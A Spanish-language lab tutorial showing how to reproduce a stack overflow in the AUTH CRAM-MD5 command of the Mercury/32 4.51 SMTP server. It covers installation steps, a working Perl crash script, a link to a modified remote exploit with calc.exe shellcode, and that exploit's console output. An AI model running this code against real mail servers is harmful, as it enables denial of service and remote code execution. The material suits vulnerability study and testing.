Explotación del desbordamiento del búfer en AUTH CRAM-MD5Para llevar a cabo esta explotación es necesario descargar
Mercury/32 Mail Transporter System en su versión 4.51, la cuál es propensa a la vulnerabilidad descrita anteriormente.
ftp://ftp.usm.maine.edu/pegasus/mercury32/m32-451.exe
En todo momento y a lo largo de esta instalación, se mantendrán los valores que vienen asignados por defecto bajo el sistema operativo Microsoft Windows.
1. Setup
2. New Installation
3. No NetWare Support
4. OK, accept this directory (C:\MERCURY)
5. No Pegasus Mail integration
6. OK, accept this directory (C:\MERCURY\MAIL)
7. OK, continue installation (MercuryS - SMTP Server Module)
8. Install no SMTP client
9. OK, continue installation
10. Normal
11. OK, continue installation (C:\MERCURY\QUEUE)
12. Install Mercury/32
13. Done
14. Exit
Una vez instalado iniciamos el servidor ejecutando el archivo
mercury.exe que se encontrará, por defecto, en
C:\MERCURY\.
C:\MERCURY\mercury.exe
Al ejecutarlo, se abrirá una ventana que a su vez contendrá dos pequeñas ventanas. Nosotros nos centraremos en la que aparece en primer plano y tiene como título
Mercury SMTP Server. En esta ventana se mostrarán las conexiones actuales y los comandos introducidos por el usuario.
Para comprobar que el servidor se encuentra operativo, nos conectaremos al puerto 25 localmente mediante cualquier herramienta tipo
telnet o
netcat:
C:\>nc 127.0.0.1 25
220 ESMTP server ready.
En caso de no recibir una respuesta es por que algún intermediario bloquea la conexión y/o por que estamos estableciendo la conexión remotamente.
Teniendo ya el servidor de correo operativo, podremos realizar una pequeña prueba con el siguiente código, el cuál generará una petición AUTH CRAM-MD5 de 10.000 caracteres, causando el cierre inesperado del servidor de correo Mercury.
use IO::Socket;
use MIME::Base64;
$|=1;
$host = "localhost";
$a = "QUFB" x 10000;
my $sock = IO::Socket::INET->new(PeerAddr => "$host", PeerPort => '25', Proto => 'tcp');
print $sock "EHLO you\r\n";
print $sock "AUTH CRAM-MD5\r\n";
print $sock $a . "\r\n";
while(<$sock>) {
print;
}
Pasando a algo más peligroso y preocupante, empezaremos a trabajar con el siguiente
exploit, que es una pequeña modificación del Exploit I, al que se hizo referencia anteriormente. Las modificaciones han sido realizadas por mí, para que el código pueda ser compilado correctamente con Dev-C++ v4.9.9.2, y su
shellcode ha sido cambiada por una, generada por
metasploit, que ejecuta el archivo
calc.exe (calculadora de Windows).
http://www.streamupload.com/download.aspx?fileID=2007827174920
C:\>mercury-exploit 127.0.0.1 25
== Mercury/32 4.51 SMTPD CRAM-MD5 Pre-Auth Remote Stack Overflow
== Public Version 1.0
== http://www.ph4nt0m.org 2007-08-22
== code by Zhenhan.Liu
[*] connect to 127.0.0.1:25 ... OK!
[C] EHLO void#ph4nt0m.org
[S] 220 ESMTP server ready.
[S] 250- Hello void#ph4nt0m.org; ESMTPs are:
250-TIME
[S] 250-SIZE 0
[S] 250 HELP
[C] AUTH CRAM-MD5
[S] 334 PDExNTcwODM3LjM0NkA+
[C] Send Payload...
[-] Done! cmdshell@1154?